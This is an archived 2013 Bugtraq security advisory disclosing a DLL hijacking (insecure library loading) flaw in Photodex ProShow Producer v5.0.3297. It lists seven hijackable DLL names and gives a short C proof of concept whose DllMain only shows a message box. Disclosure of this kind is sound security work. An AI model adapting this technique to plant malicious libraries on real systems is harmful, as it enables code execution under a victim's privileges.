bugtraq - [IA48] Photodex ProShow Producer v5.0.3297 Insecure Library Loading Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <51288814.8060708@inshell.net>
Date: Sat, 23 Feb 2013 10:12:52 +0100
From: Inshell Security <info@...hell.net>
To: full-disclosure@...ts.grok.org.uk, bugtraq@...urityfocus.com,
  vuln@...unia.com, submissions@...ketstormsecurity.org, moderators@...db.org
Subject: [IA48] Photodex ProShow Producer v5.0.3297 Insecure Library Loading
 Vulnerability

Inshell Security Advisory
http://www.inshell.net


1. ADVISORY INFORMATION
-----------------------
Product:        Photodex ProShow Producer
Vendor URL:     www.photodex.com
Type:           Uncontrolled Search Path Element [CWE-427]
Date found:     2013-02-23
Date published: 2013-02-23
CVSSv2 Score:   4,4 (AV:L/AC:M/Au:N/C:P/I:P/A:P)
CVE:            -


2. CREDITS
----------
This vulnerability was discovered and researched by Julien Ahrens from
Inshell Security.


3. VERSIONS AFFECTED
--------------------
Photodex ProShow Producer v5.0.3297, older versions may be affected too.


4. VULNERABILITY DESCRIPTION
----------------------------
An insecure library loading vulnerability has been identified in
Photodex ProShow Producer v5.0.3297.

The application uses a fixed path to look for specific files or
libraries. This path includes directories that may not be trusted or
under user control.

By placing a custom version of a library in the application path, the
program will load it before the legitimate version. This allows an
attacker to inject custom code that will be run with the privilege of
the program or user executing the program. The following libraries could
be hijacked on this way:

d3d9.dll
dbghelp.dll
dciman32.dll
ddraw.dll
midimap.dll
mscms.dll
ws2help.dll


5. PROOF-OF-CONCEPT (CODE / Exploit)
------------------------------------
// wine gcc -Wall -shared inject.c -o ddraw.dll
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hInstDLL, DWORD dwReason, LPVOID lpvReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        MessageBox(0,"DLL Injection","DLL Injection", 0);
    }
return TRUE;
}


For further Screenshots and/or PoCs visit:
http://security.inshell.net/advisory/48


6. SOLUTION
-----------
None


7. REPORT TIMELINE
------------------
2013-02-23: Discovery of the vulnerability
2013-02-23: Full Disclosure because the vendor ignored previous
            reports.


8. REFERENCES
-------------
http://security.inshell.net/advisory/48